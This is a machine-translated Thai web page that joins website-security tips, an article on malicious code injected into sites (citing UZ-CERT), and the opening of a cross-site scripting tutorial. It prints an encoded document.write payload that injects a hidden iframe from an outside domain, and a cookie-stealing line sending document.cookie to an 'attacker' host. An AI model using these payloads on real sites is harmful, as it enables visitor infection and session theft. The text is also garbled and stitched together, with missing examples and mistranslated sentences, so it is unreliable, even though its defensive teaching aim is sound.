เว็บมาสเตอร์สามารถเสนอได้หลายอย่าง เคล็ดลับง่ายๆเกี่ยวกับวิธีการรักษาความปลอดภัยเว็บไซต์:

  • ปกป้องบัญชีโฮสติ้งของคุณด้วยรหัสผ่านที่รัดกุม
  • หากต้องการอัปโหลดไฟล์ไปยังเซิร์ฟเวอร์ ให้ใช้โปรโตคอล SCP/SSH/SFTP แทน FTP วิธีนี้จะทำให้คุณได้รับการปกป้องจากการส่งรหัสผ่านทางอินเทอร์เน็ตในรูปแบบข้อความที่ชัดเจน
  • ติดตั้งผลิตภัณฑ์ป้องกันไวรัสและเรียกใช้การสแกนคอมพิวเตอร์
  • มีของในสต็อกนิดหน่อย สำเนาสำรองเว็บไซต์เพื่อให้สามารถกู้คืนได้ในกรณีที่ติดไวรัส

เมื่อท่องอินเทอร์เน็ต มีปัจจัยหลายประการที่เพิ่มความเสี่ยงในการติดโค้ดที่เป็นอันตรายจากเว็บไซต์: การใช้ซอฟต์แวร์ละเมิดลิขสิทธิ์ การเพิกเฉยต่อการอัปเดตที่แก้ไขช่องโหว่ในซอฟต์แวร์ที่คุณใช้ การไม่มีโซลูชันป้องกันไวรัสในคอมพิวเตอร์ของคุณ และข้อบกพร่องทั่วไป ความรู้หรือความเข้าใจเกี่ยวกับภัยคุกคามบนอินเทอร์เน็ต

ซอฟต์แวร์ละเมิดลิขสิทธิ์มีบทบาทสำคัญในการแพร่กระจายของมัลแวร์ สำเนาโจรสลัด ไมโครซอฟต์ วินโดวส์ตามกฎแล้วไม่สนับสนุน การปรับปรุงอัตโนมัติผลิตโดย Microsoft ซึ่งเปิดโอกาสให้อาชญากรไซเบอร์ใช้ประโยชน์จากช่องโหว่ที่ไม่ได้รับแพตช์ในผลิตภัณฑ์เหล่านี้

นอกจากนี้เก่า เวอร์ชันอินเทอร์เน็ต Explorer ซึ่งยังคงเป็นเบราว์เซอร์ยอดนิยม มีช่องโหว่จำนวนมาก ในกรณีส่วนใหญ่ Internet Explorer 6.0 จะไม่มี การอัปเดตที่ติดตั้งไม่ได้รับการปกป้องจากผลกระทบที่เป็นอันตรายของเว็บไซต์ที่เป็นอันตราย ด้วยเหตุนี้ จึงเป็นสิ่งสำคัญอย่างยิ่งที่จะต้องหลีกเลี่ยงการใช้ซอฟต์แวร์ละเมิดลิขสิทธิ์ โดยเฉพาะสำเนา Windows ที่ละเมิดลิขสิทธิ์

ปัจจัยเสี่ยงอีกประการหนึ่งคือการทำงานบนคอมพิวเตอร์โดยไม่ได้ติดตั้งโปรแกรมป้องกันไวรัส แม้ว่าระบบจะมีการอัพเดตล่าสุด แต่โค้ดที่เป็นอันตรายก็สามารถเจาะระบบผ่านช่องโหว่แบบซีโรเดย์ในซอฟต์แวร์บุคคลที่สามได้ อัพเดท โปรแกรมป้องกันไวรัสโดยปกติแล้วจะออกบ่อยกว่าแพตช์สำหรับผลิตภัณฑ์ซอฟต์แวร์ และให้การรักษาความปลอดภัยของระบบในช่วงเวลาที่แพตช์สำหรับช่องโหว่ในซอฟต์แวร์บุคคลที่สามยังไม่ออก

และแม้ว่าการติดตั้งการอัพเดตสำหรับโปรแกรมจะมีความสำคัญต่อการรักษาระดับความปลอดภัยที่ต้องการ แต่ปัจจัยด้านมนุษย์ก็มีบทบาทสำคัญเช่นกัน ตัวอย่างเช่น ผู้ใช้อาจต้องการดู "วิดีโอที่น่าสนใจ" ที่ดาวน์โหลดจากอินเทอร์เน็ต โดยไม่สงสัยว่าแทนที่จะเป็นวิดีโอที่เขาได้รับโปรแกรมที่เป็นอันตราย เคล็ดลับนี้มักใช้กับไซต์ที่เป็นอันตรายเมื่อช่องโหว่ไม่สามารถเจาะระบบปฏิบัติการได้ ตัวอย่างนี้แสดงให้เห็นว่าเหตุใดผู้ใช้จึงควรตระหนักถึงอันตรายที่เกิดจากภัยคุกคามทางอินเทอร์เน็ต โดยเฉพาะอย่างยิ่งที่เกี่ยวข้องกับเครือข่ายโซเชียล (เว็บ 2.0) ซึ่งเพิ่งตกเป็นเป้าหมายของอาชญากรไซเบอร์

  • อย่าดาวน์โหลดซอฟต์แวร์ละเมิดลิขสิทธิ์
  • อัปเดตซอฟต์แวร์ทั้งหมดให้ทันสมัยอยู่เสมอ: ระบบปฏิบัติการ, เว็บเบราว์เซอร์, โปรแกรมดู PDF, เครื่องเล่น ฯลฯ
  • ติดตั้งและใช้ผลิตภัณฑ์ป้องกันไวรัสเช่น แคสเปอร์สกี้ อินเตอร์เน็ตความปลอดภัย 2553
  • ควรให้พนักงานของคุณใช้เวลาสองสามชั่วโมงในแต่ละเดือนในการตรวจสอบเว็บไซต์ด้านความปลอดภัย เช่น www.viruslist.com ซึ่งพวกเขาสามารถเรียนรู้เกี่ยวกับภัยคุกคามทางอินเทอร์เน็ตและเทคนิคการป้องกัน

สุดท้ายนี้ อย่าลืมว่าการป้องกันการติดเชื้อนั้นง่ายกว่าการรักษาให้หายขาด ใช้มาตรการความปลอดภัย!

หมวดหมู่: .

บทความนี้มุ่งเป้าไปที่ผู้ใช้อินเทอร์เน็ตและเจ้าของ แหล่งข้อมูล. บทความนี้มีวัตถุประสงค์เพื่ออธิบายวิธีการแพร่ไวรัสเว็บไซต์ด้วยโค้ดที่เป็นอันตราย ผลที่ตามมาที่เป็นไปได้ และวิธีการต่อสู้กับมัลแวร์

รหัสที่เป็นอันตรายนี้คืออะไร มาจากไหน และอันตรายแค่ไหน?

รหัสที่เป็นอันตรายคือลิงก์ไปยังทรัพยากรที่มีซอฟต์แวร์ที่เป็นอันตราย สิ่งที่พบบ่อยที่สุดในปัจจุบันคือโปรแกรมป้องกันไวรัสปลอม (Fake Antivirus) หรือโมดูลการทดแทนปัญหา คำค้นหาหรือซอฟต์แวร์สำหรับส่งสแปม ในบางกรณี มัลแวร์สามารถรวมฟังก์ชันการขโมยข้อมูลที่เป็นความลับจากคอมพิวเตอร์ของผู้ใช้ได้ เช่น อาจเป็นรหัสผ่านจากอินเทอร์เฟซผู้ดูแลระบบสำหรับจัดการเว็บไซต์ รหัสผ่าน ftp และบัญชีสำหรับบริการออนไลน์

1) ลิงก์ที่เป็นอันตรายนำไปสู่ระบบกระจายการรับส่งข้อมูล (TDS) ระบบกระจายการจราจรช่วยให้คุณเปลี่ยนเส้นทางผู้เยี่ยมชมขึ้นอยู่กับประเทศ ระบบปฏิบัติการ, เบราว์เซอร์, ภาษาที่ใช้ และรายละเอียดอื่นๆ เกี่ยวกับแหล่งข้อมูลต่างๆ ทรัพยากรเหล่านี้กลับมีมัลแวร์สำหรับผู้ชมกลุ่มนี้โดยเฉพาะหรือซอฟต์แวร์ที่มีช่องโหว่นี้ นอกจากนี้ หากคุณติดตามลิงก์ที่เป็นอันตรายจากเบราว์เซอร์หรือระบบปฏิบัติการเวอร์ชันที่ผู้โจมตีไม่ได้ตั้งใจ คุณจะเห็นเพียงหน้าจอว่างเปล่าหรือตัวอย่างเช่น เครื่องมือค้นหา หน้ากูเกิล. ทำให้ระบุมัลแวร์ได้ยากเล็กน้อย อย่างไรก็ตาม ด้วยการวิเคราะห์อย่างรอบคอบ คุณสามารถเข้าใจตรรกะของระบบและป้องกันตัวเองจากการติดเชื้อได้
2) ลิงก์ที่เป็นอันตรายนำไปสู่การ "แยก" สำหรับเบราว์เซอร์และผลิตภัณฑ์ซอฟต์แวร์ยอดนิยม “Sploits” เป็นโค้ดที่สร้างขึ้นมาเป็นพิเศษซึ่งใช้ช่องโหว่ในซอฟต์แวร์เพื่อดาวน์โหลดและรันมัลแวร์บนคอมพิวเตอร์ของผู้ใช้โดยไม่ต้องแจ้งให้ทราบ ในกรณีนี้ ซอฟต์แวร์ของผู้ใช้จะถูกตรวจพบ และหากมีช่องโหว่ ก็จะเกิดการติดไวรัส

เพื่อซ่อนการมีอยู่ของโค้ดที่เป็นอันตรายบนเว็บไซต์ มันถูกเข้ารหัส แต่ก็มีบางกรณีของโค้ดแบบเปิดเช่นกัน

ตัวอย่างลิงก์ที่เป็นอันตรายที่เข้ารหัส: document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70%3A %2F %2F%74%6E%78%2E%6E%61%6D%65%2F%69%6E%2E%63%67%69%3F%33%27%20%77%69%64%74 %68 %3D%27%31%27%20%68%65%69%67%68%74%3D%27%31%27%20%73%74%79%6C%65%3D%27%76 %69 %73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B%27%3E%3C%2F%69%66%72 %61 %6D%65%3E'));

มาวิเคราะห์โครงสร้างของลิงก์ที่เป็นอันตรายกันสักหน่อย:
ชื่อโดเมน - bestlotron.cn
script - in.cgi (ระบบกระจายการรับส่งข้อมูล SUTRA)
โครงการ - cocacola51

ลิงก์ที่เป็นอันตรายที่เปลี่ยนเส้นทางไปยังระบบกระจายการรับส่งข้อมูลเป็นลิงก์ที่พบบ่อยที่สุดในช่วงนี้ ในกรณีนี้ ผู้โจมตีที่สามารถเข้าถึงเว็บไซต์และแทรกลิงก์ที่เป็นอันตรายไปยังระบบกระจายการรับส่งข้อมูลบนทรัพยากรของเขา จะสามารถควบคุมการรับส่งข้อมูลจากเว็บไซต์นี้ได้ โครงการ "cocacola51" ที่แสดงในตัวอย่างอาจมีมัลแวร์มากกว่าหนึ่งรายการ ดังนั้นระบบกระจายการรับส่งข้อมูลจึงเป็นเพียงตัวกลางระหว่างผู้เยี่ยมชมเว็บไซต์ที่ถูกแฮ็กและมัลแวร์ของผู้โจมตี

ตัวอย่างที่สองแสดงให้เห็นอย่างชัดเจนถึงลิงก์ที่เป็นอันตรายที่เข้ารหัส ตามกฎแล้ว อัลกอริธึมแบบง่ายใช้สำหรับการเข้ารหัส และในเกือบ 99% ของกรณีลิงก์ดังกล่าวสามารถถอดรหัสได้อย่างง่ายดาย

หลังจากการถอดรหัสเราได้รับรหัสต่อไปนี้:

ตอนนี้เราสามารถสังเกตทั้งที่อยู่ไซต์และสคริปต์ระบบการกระจายการรับส่งข้อมูลด้วยโครงร่าง 3 ซึ่งคุ้นเคยกับเราจากตัวอย่างแรก

รหัสนี้บนเว็บไซต์มาจากไหนและเป็นอันตรายได้อย่างไร?
ตามกฎแล้ว เว็บไซต์จะไม่ถูกแฮ็กด้วยตนเองอีกต่อไป ทุกอย่างเป็นอัตโนมัติมาเป็นเวลานาน เพื่อจุดประสงค์เหล่านี้แฮกเกอร์ได้เขียนอะไรมากมายเช่น แอพพลิเคชั่น, ดังนั้น แอปพลิเคชันเซิร์ฟเวอร์. กระบวนการที่พบบ่อยที่สุดสำหรับการแทรกลิงก์ที่เป็นอันตรายลงในเว็บไซต์โดยอัตโนมัติคือการขโมยรหัสผ่าน FTP และการประมวลผลข้อมูลนี้เพิ่มเติมโดยแอปพลิเคชัน Iframer เฉพาะทาง งานของ Iframer นั้นง่ายมาก - เชื่อมต่อกับทรัพยากรโดยใช้รายการบัญชี FTP ค้นหาไฟล์โดยใช้มาสก์ที่กำหนด ตามกฎแล้วนี่คือไฟล์ของหน้าดัชนีเว็บไซต์และแทรกโค้ดที่เป็นอันตรายสำเร็จรูปลงไป ดังนั้น หลังจากที่รหัสถูกลบออก เว็บไซต์จำนวนมากก็กลับมาติดไวรัสอีกครั้ง แม้ว่ารหัสผ่านการเข้าถึงทั้งหมดจะถูกเปลี่ยน รวมถึงรหัสผ่านสำหรับ ftp ก็ตาม สาเหตุนี้อาจเกิดจากการมีไวรัสขโมยรหัสผ่านในคอมพิวเตอร์ที่ใช้ดูแลเว็บไซต์

มีหลายกรณีที่เจ้าของเว็บไซต์ที่มีโค้ดที่เป็นอันตรายปรากฏขึ้นไม่ให้ความสำคัญกับปัญหานี้อย่างจริงจัง ฉันเห็นด้วยเป็นอันตรายต่อทรัพยากรนั่นเอง รหัสนี้ไม่ก่อให้เกิด. มีเพียงผู้เยี่ยมชมเว็บไซต์ที่ติดไวรัสเท่านั้นที่ต้องทนทุกข์ทรมาน แต่มีแง่มุมอื่น ๆ ที่ฉันต้องการดึงดูดความสนใจ

เว็บไซต์ที่มีโค้ดที่เป็นอันตรายไม่ช้าก็เร็วจะจบลงในฐานข้อมูลต่างๆ ของผู้ให้บริการการติดไวรัส - รายชื่อไซต์มัลแวร์ รวมถึงเครื่องมือค้นหาเช่น Google หรือ Yandex ซึ่งสามารถทำเครื่องหมายเว็บไซต์ที่ติดไวรัสว่าอาจเป็นอันตรายได้ มันจะยากมากที่จะลบทรัพยากรของคุณออกจากฐานดังกล่าวเมื่อไปถึงที่นั่น นอกจากนี้ อาจเป็นไปได้ว่าไม่ช้าก็เร็วคุณจะได้รับ "การละเมิด" ซึ่งเป็นคำร้องเรียนจากผู้เยี่ยมชมเว็บไซต์ ในกรณีนี้ มีความเป็นไปได้ที่ทั้งชื่อโดเมนของเว็บไซต์จะถูกบล็อกและที่อยู่ IP ของเว็บไซต์ถูกบล็อก มีหลายกรณีที่เครือข่ายย่อยทั้งหมดถูกบล็อกเนื่องจากเว็บไซต์ที่ติดไวรัสแห่งเดียว

จะป้องกันตัวเองจากการปรากฏตัวของรหัสที่เป็นอันตรายในทรัพยากรของคุณได้อย่างไร? ในการดำเนินการนี้ จำเป็นต้องปฏิบัติตามข้อกำหนดด้านความปลอดภัยของข้อมูลหลายประการ:

1) ติดตั้งซอฟต์แวร์ป้องกันไวรัสบนคอมพิวเตอร์ที่ทำงานซึ่งดูแลเว็บไซต์ โดยควรเป็นซอฟต์แวร์ลิขสิทธิ์ที่มีฐานข้อมูลอัพเดททุกวัน
2) ติดตั้งและกำหนดค่า ไฟร์วอลล์ในลักษณะที่มีการตรวจสอบการรับส่งข้อมูลทั้งหมดเมื่อทำงานกับเครือข่าย และในกรณีที่มีการเข้าถึงโฮสต์ที่น่าสงสัย ก็เป็นไปได้ที่จะบล็อกมัน
3) ใช้รหัสผ่านที่ซับซ้อนสำหรับอินเทอร์เฟซผู้ดูแลระบบและการเข้าถึงบริการ ftp และ ssh
4) อย่าบันทึกรหัสผ่านใน Total Commander, Far และโปรแกรมอื่นๆ ผู้จัดการไฟล์. ตามกฎแล้วเกือบทุกอย่าง โทรจันรู้วิธีรวบรวมข้อมูลนี้และส่งต่อไปยังผู้โจมตีแล้ว
5) ห้ามเปิดหรือเรียกใช้ไฟล์ที่ได้รับทางอีเมลหรือดาวน์โหลดจากอินเทอร์เน็ตโดยไม่ได้ตรวจสอบด้วยซอฟต์แวร์ป้องกันไวรัสก่อน
6) อัปเดตซอฟต์แวร์ที่ติดตั้งบนคอมพิวเตอร์ของคุณ ติดตั้งแพตช์สำหรับระบบปฏิบัติการและอัปเดตซอฟต์แวร์แอปพลิเคชันอย่างทันท่วงที บางครั้งโปรแกรมที่คุณใช้ทุกวันอาจเป็นช่องโหว่ในระบบเพื่อให้มัลแวร์เจาะเข้าไปได้ โดยเฉพาะอย่างยิ่ง อะโดบี อะโครแบทผู้อ่าน แฟลชเพลเยอร์, โปรแกรมจากแพ็คเกจ MS Office เป็นต้น

หากคุณปฏิบัติตามมาตรการป้องกันทั้งหมดที่อธิบายไว้ข้างต้น แต่พบโค้ดที่เป็นอันตรายในทรัพยากรของคุณ ผู้ให้บริการโฮสติ้ง หรือถ้าให้ละเอียดกว่านั้น การตั้งค่าของเซิร์ฟเวอร์ที่โฮสต์ทรัพยากรของคุณ ก็อาจถูกตำหนิเช่นกัน ในกรณีนี้ คุณต้องติดต่อทีมสนับสนุนของผู้ให้บริการโฮสติ้งของคุณ และขอให้พวกเขาระบุและกำจัดสาเหตุของเหตุการณ์นั้น

ดังที่คุณทราบในอุซเบกิสถานในเดือนกันยายน 2548 ตามคำสั่งของประธานาธิบดีของประเทศได้มีการสร้างบริการตอบสนองเหตุการณ์ทางคอมพิวเตอร์ UZ-CERT นอกเหนือจากหน้าที่หลักแล้ว ผู้เชี่ยวชาญด้านบริการยังทำงานเพื่อตรวจจับโค้ดที่เป็นอันตรายบนเว็บไซต์ในโซนโดเมนระดับประเทศอีกด้วย เพื่อวัตถุประสงค์เหล่านี้ มีการเขียนโปรแกรมแอปพลิเคชันจำนวนหนึ่งเพื่อทำให้ประเด็นหลักเป็นไปโดยอัตโนมัติ แต่แน่นอนว่าการสแกนเว็บไซต์ที่ต้องสงสัยว่าติดไวรัสด้วยตนเองก็มีบทบาทสำคัญเช่นกัน บางครั้งการปลอมแปลงโค้ดที่เป็นอันตรายซึ่งอยู่ภายใต้ "การทำให้สับสน" ได้สำเร็จ ซึ่งเป็นการเปลี่ยนแปลงโครงสร้างของโค้ด จะไม่สามารถตรวจพบได้ด้วยวิธีอัตโนมัติ ข้อมูลเกี่ยวกับเว็บไซต์ที่ตรวจพบว่าติดไวรัสทั้งหมดจะถูกเผยแพร่บนเว็บไซต์บริการ รวมถึงในส่วน UZ-CERT บน uForum.uz เจ้าของทรัพยากรที่ติดไวรัสจะได้รับการแจ้งเตือน คำแนะนำ และความช่วยเหลือเพื่อกำจัดภัยคุกคามและปกป้องระบบของตนเพิ่มเติม เราหวังเป็นอย่างยิ่งว่า งานนี้เป็นประโยชน์ต่อผู้ใช้อินเทอร์เน็ตและช่วยหลีกเลี่ยงการติดเชื้อในวงกว้าง คอมพิวเตอร์ส่วนบุคคลมัลแวร์

ในออดโนคลาสนิกิ

และเป็นบทช่วยสอนที่ครอบคลุมเกี่ยวกับการเขียนสคริปต์ข้ามไซต์

ส่วนที่หนึ่ง: ภาพรวม XSS คืออะไร

การเขียนสคริปต์ข้ามไซต์ ( ภาษาอังกฤษ การเขียนสคริปต์ข้ามไซต์) คือการโจมตีด้วยการแทรกโค้ดที่ช่วยให้ผู้โจมตีสามารถรัน JavaScript ที่เป็นอันตรายในเบราว์เซอร์ของผู้ใช้รายอื่นได้

ผู้โจมตีไม่ได้โจมตีเหยื่อโดยตรง แต่จะใช้ประโยชน์จากช่องโหว่ในเว็บไซต์ที่เหยื่อกำลังเยี่ยมชมและแทรกโค้ด JavaScript ที่เป็นอันตราย ในเบราว์เซอร์ของเหยื่อ JavaScript ที่เป็นอันตรายจะปรากฏเป็นส่วนหนึ่งของเว็บไซต์ที่ถูกต้องตามกฎหมาย และตัวเว็บไซต์เองก็ทำหน้าที่เป็นผู้สมรู้ร่วมโดยตรงกับผู้โจมตี

การแทรกโค้ด JavaScript ที่เป็นอันตราย

วิธีเดียวที่ผู้โจมตีสามารถเรียกใช้ JavaScript ที่เป็นอันตรายในเบราว์เซอร์ของเหยื่อได้คือการแทรก JavaScript ลงในเพจใดเพจหนึ่งที่เหยื่อโหลดจากเว็บไซต์ สิ่งนี้เป็นไปได้หากเว็บไซต์อนุญาตให้ผู้ใช้ป้อนข้อมูลบนหน้าเว็บของตน และผู้โจมตีสามารถแทรกสตริงที่จะถูกตรวจพบว่าเป็นส่วนหนึ่งของโค้ดในเบราว์เซอร์ของเหยื่อ

ตัวอย่างด้านล่างแสดงสคริปต์ฝั่งเซิร์ฟเวอร์อย่างง่ายที่ใช้ในการแสดงความคิดเห็นล่าสุดบนไซต์:

พิมพ์ ""
พิมพ์ "ความเห็นล่าสุด:"
พิมพ์ฐานข้อมูล.latestComment
พิมพ์ ""

สคริปต์จะถือว่าความคิดเห็นประกอบด้วยข้อความเท่านั้น อย่างไรก็ตาม เนื่องจากมีการเปิดใช้งานการป้อนข้อมูลของผู้ใช้โดยตรง ผู้โจมตีจึงสามารถแสดงความคิดเห็นนี้ได้: "..." ผู้ใช้ที่เข้าชมเพจนี้จะได้รับการตอบกลับต่อไปนี้:


ความคิดเห็นล่าสุด:
...

เมื่อเบราว์เซอร์ของผู้ใช้โหลดหน้าเว็บ จะดำเนินการทุกอย่าง รวมถึงโค้ด JavaScript ที่อยู่ภายในไฟล์ . ผู้โจมตีทำการโจมตีได้สำเร็จ

JavaScript ที่เป็นอันตรายคืออะไร?

ความสามารถในการรัน JavaScript ในเบราว์เซอร์ของเหยื่ออาจดูไม่เป็นอันตรายอย่างยิ่ง JavaScript ทำงานในสภาพแวดล้อมที่จำกัดซึ่งมีการเข้าถึงไฟล์ผู้ใช้และระบบปฏิบัติการอย่างจำกัด ในความเป็นจริง คุณสามารถเปิดคอนโซล JavaScript ในเบราว์เซอร์ของคุณได้ทันทีและเรียกใช้ JavaScript ที่คุณต้องการ และไม่น่าเป็นไปได้มากที่คุณจะสามารถก่อให้เกิดอันตรายต่อคอมพิวเตอร์ของคุณได้

อย่างไรก็ตาม โอกาสที่โค้ด JavaScript จะทำหน้าที่เป็นโค้ดที่เป็นอันตรายจะมีความชัดเจนมากขึ้นเมื่อคุณพิจารณาข้อเท็จจริงต่อไปนี้:

  • JavaScript สามารถเข้าถึงข้อมูลผู้ใช้ที่ละเอียดอ่อนบางอย่าง เช่น คุกกี้
  • JavaScript สามารถส่งคำขอ HTTP พร้อมเนื้อหาที่กำหนดเองไปในทิศทางใดก็ได้โดยใช้ XMLHttpRequest และกลไกอื่นๆ
  • JavaScript สามารถทำการเปลี่ยนแปลงโค้ด HTML ของหน้าปัจจุบันได้ตามใจชอบโดยใช้เทคนิคการจัดการ DOM

หากรวมกัน ข้อเท็จจริงเหล่านี้อาจทำให้เกิดการละเมิดด้านความปลอดภัยที่ร้ายแรงได้ โปรดติดตามรายละเอียด

ผลที่ตามมาของโค้ด JavaScript ที่เป็นอันตราย

นอกจากนี้ ความสามารถในการรัน JavaScript โดยพลการในเบราว์เซอร์ของผู้ใช้รายอื่นยังช่วยให้ผู้โจมตีสามารถดำเนินการโจมตีประเภทต่อไปนี้:

การขโมยคุกกี้

ผู้โจมตีสามารถเข้าถึงคุกกี้ที่เกี่ยวข้องกับเว็บไซต์ของเหยื่อได้โดยใช้ document.cookie ส่งคุกกี้ไปยังเซิร์ฟเวอร์ของตนเอง และใช้คุกกี้เพื่อดึงข้อมูลที่ละเอียดอ่อน เช่น รหัสเซสชัน

คีย์ล็อกเกอร์

ผู้โจมตีสามารถลงทะเบียนตัวฟังเหตุการณ์คีย์บอร์ดโดยใช้ addEventListener จากนั้นส่งการกดแป้นพิมพ์ทั้งหมดของผู้ใช้ไปยังเซิร์ฟเวอร์ของตน ซึ่งอาจบันทึกข้อมูลที่ละเอียดอ่อน เช่น รหัสผ่านและหมายเลขบัตรเครดิต

ฟิชชิ่ง

ผู้โจมตีสามารถแทรกแบบฟอร์มเข้าสู่ระบบปลอมลงในเพจโดยใช้การจัดการ DOM โดยตั้งค่าแอตทริบิวต์การกระทำของแบบฟอร์มไปยังเซิร์ฟเวอร์ของตนเอง จากนั้นหลอกให้ผู้ใช้รับข้อมูลที่ละเอียดอ่อน

แม้ว่าการโจมตีเหล่านี้จะมีความแตกต่างกันอย่างมาก แต่ก็มีความคล้ายคลึงกันอย่างมีนัยสำคัญอย่างหนึ่ง นั่นคือ เนื่องจากผู้โจมตีแทรกโค้ดลงในหน้าที่เว็บไซต์ให้บริการ JavaScript ที่เป็นอันตรายจึงถูกเรียกใช้งานในบริบทของเว็บไซต์นั้น ซึ่งหมายความว่าจะถือว่าสคริปต์ดังกล่าวเหมือนกับสคริปต์อื่นๆ จากไซต์นั้น โดยสามารถเข้าถึงข้อมูลของเหยื่อสำหรับเว็บไซต์นั้นได้ (เช่น คุกกี้) และชื่อโฮสต์ที่แสดงในแถบ URL จะเหมือนกับชื่อโฮสต์ของเว็บไซต์ สำหรับวัตถุประสงค์ทั้งหมด สคริปต์ถือเป็นส่วนที่ถูกกฎหมายของเว็บไซต์ ทำให้สามารถทำทุกอย่างที่ตัวเว็บไซต์สามารถทำได้

ข้อเท็จจริงนี้เน้นประเด็นสำคัญ:

หากผู้โจมตีสามารถใช้เว็บไซต์ของคุณเพื่อรันโค้ด JavaScript ในเบราว์เซอร์ของผู้ใช้รายอื่น ความปลอดภัยของเว็บไซต์และผู้ใช้จะถูกบุกรุก

เพื่อเน้นประเด็นนี้ ตัวอย่างสคริปต์ที่เป็นอันตรายบางส่วนในบทช่วยสอนนี้จะถูกทิ้งไว้โดยไม่มีรายละเอียด โดยใช้.... สิ่งนี้ชี้ให้เห็นว่าการมีอยู่ของสคริปต์ที่ถูกแทรกโดยผู้โจมตีนั้นเป็นปัญหา ไม่ว่าโค้ดสคริปต์เฉพาะใดที่กำลังถูกดำเนินการก็ตาม

ส่วนที่สอง: การโจมตี XSS ผู้เข้าร่วมในการโจมตี XSS

ก่อนที่เราจะอธิบายรายละเอียดวิธีการทำงานของการโจมตี XSS เราจำเป็นต้องระบุผู้ที่เกี่ยวข้องกับการโจมตี XSS ก่อน โดยทั่วไป การโจมตี XSS มีสามฝ่าย: เว็บไซต์ เหยื่อ และผู้โจมตี

  • เว็บไซต์จัดให้มีหน้า HTML แก่ผู้ใช้ที่ร้องขอ ในตัวอย่างของเรา จะอยู่ที่ http://website/
    • ฐานข้อมูลเว็บไซต์เป็นฐานข้อมูลที่จัดเก็บข้อมูลบางส่วนที่ผู้ใช้ป้อนในหน้าต่างๆ ของเว็บไซต์
  • เหยื่อก็คือ ผู้ใช้ปกติเว็บไซต์ที่ขอหน้าจากมันโดยใช้เบราว์เซอร์
  • ผู้โจมตีคือผู้โจมตีที่ตั้งใจที่จะเริ่มการโจมตีเหยื่อโดยใช้ช่องโหว่ XSS ในเว็บไซต์
    • เซิร์ฟเวอร์ของผู้โจมตีคือเว็บเซิร์ฟเวอร์ที่ควบคุมโดยผู้โจมตีโดยมีวัตถุประสงค์เพื่อขโมยข้อมูลที่เป็นความลับของเหยื่อเท่านั้น ในตัวอย่างของเรา จะอยู่ที่ http://attacker/
ตัวอย่างสถานการณ์การโจมตี


window.location="http://attacker/?cookie="+document.cookie

สคริปต์นี้จะสร้างคำขอ HTTP ไปยัง URL อื่น ซึ่งจะเปลี่ยนเส้นทางเบราว์เซอร์ของผู้ใช้ไปยังเซิร์ฟเวอร์ของผู้โจมตี URL มีคุกกี้ของเหยื่อเป็นพารามิเตอร์คำขอ เมื่อคำขอ HTTP มาถึงเซิร์ฟเวอร์ของผู้โจมตี ผู้โจมตีสามารถแยกคุกกี้เหล่านี้ออกจากคำขอได้ เมื่อผู้โจมตีได้รับคุกกี้แล้ว เขาสามารถใช้เพื่อปลอมตัวเป็นเหยื่อและเริ่มการโจมตีครั้งต่อไปได้

จากนี้ไป โค้ด HTML ที่แสดงด้านบนจะถูกเรียกว่าสตริงที่เป็นอันตรายหรือสคริปต์ที่เป็นอันตราย สิ่งสำคัญคือต้องเข้าใจว่าตัวสตริงนั้นเป็นอันตรายหากท้ายที่สุดแล้วแสดงผลเป็น HTML ในเบราว์เซอร์ของเหยื่อ และสิ่งนี้สามารถเกิดขึ้นได้ก็ต่อเมื่อมีช่องโหว่ XSS ในเว็บไซต์

ตัวอย่างการโจมตีนี้ทำงานอย่างไร

แผนภาพด้านล่างแสดงตัวอย่างการโจมตีของผู้โจมตี:

  • ผู้โจมตีใช้รูปแบบใดรูปแบบหนึ่งของเว็บไซต์เพื่อแทรกสตริงที่เป็นอันตรายลงในฐานข้อมูลของเว็บไซต์
  • เหยื่อร้องขอเพจจากเว็บไซต์
  • ไซต์ดังกล่าวมีสตริงฐานข้อมูลที่เป็นอันตรายในการตอบกลับและส่งไปยังเหยื่อ
  • เบราว์เซอร์ของเหยื่อเรียกใช้สคริปต์ที่เป็นอันตรายภายในการตอบสนอง โดยส่งคุกกี้ของเหยื่อไปยังเซิร์ฟเวอร์ของผู้โจมตี
  • ประเภท XSS

    เป้าหมายของการโจมตี XSS คือเรียกใช้สคริปต์ JavaScript ที่เป็นอันตรายในเบราว์เซอร์ของเหยื่อเสมอ มีหลายวิธีโดยพื้นฐานที่แตกต่างกันเพื่อให้บรรลุเป้าหมายนี้ การโจมตี XSS มักแบ่งออกเป็นสามประเภท:

    • XSS ที่จัดเก็บ (ถาวร) โดยที่สตริงที่เป็นอันตรายมาจากฐานข้อมูลของเว็บไซต์
    • XSS สะท้อนกลับ (ไม่ถาวร) โดยที่สตริงที่เป็นอันตรายถูกสร้างขึ้นจากคำขอของเหยื่อ
    • XSS DOMs โดยที่ช่องโหว่เกิดขึ้นในโค้ดฝั่งไคลเอ็นต์แทนที่จะเป็นโค้ดฝั่งเซิร์ฟเวอร์

    ตัวอย่างก่อนหน้านี้แสดงการโจมตี XSS ที่เก็บไว้ ตอนนี้เราจะอธิบายการโจมตี XSS อีกสองประเภท: สะท้อนการโจมตี XSS และ DOM XSS

    XSS แบบสะท้อน

    ในการโจมตี XSS ที่สะท้อนกลับ สตริงที่เป็นอันตรายเป็นส่วนหนึ่งของคำขอของเหยื่อที่ส่งไปยังเว็บไซต์ ไซต์ยอมรับและแทรกสตริงที่เป็นอันตรายนี้ในการตอบกลับที่ส่งกลับไปยังผู้ใช้ แผนภาพด้านล่างแสดงให้เห็นถึงสถานการณ์นี้:

  • เหยื่อหลอกให้ผู้โจมตีส่งคำขอ URL ไปยังเว็บไซต์
  • ไซต์นี้มีสตริงที่เป็นอันตรายจากคำขอ URL เพื่อตอบสนองต่อเหยื่อ
  • เบราว์เซอร์ของเหยื่อเรียกใช้สคริปต์ที่เป็นอันตรายซึ่งอยู่ในการตอบสนอง โดยส่งคุกกี้ของเหยื่อไปยังเซิร์ฟเวอร์ของผู้โจมตี
  • จะทำการโจมตี XSS แบบสะท้อนกลับได้สำเร็จได้อย่างไร?

    การโจมตี XSS ที่สะท้อนกลับอาจดูไม่เป็นอันตราย เนื่องจากต้องการให้เหยื่อส่งคำขอในนามของพวกเขาซึ่งมีสตริงที่เป็นอันตราย เนื่องจากไม่มีใครสมัครใจโจมตีตัวเอง ดูเหมือนจะไม่มีทางทำการโจมตีได้จริงๆ

    ปรากฏว่ามีวิธีทั่วไปอย่างน้อยสองวิธีในการทำให้เหยื่อเปิดการโจมตี XSS แบบสะท้อนต่อตนเอง:

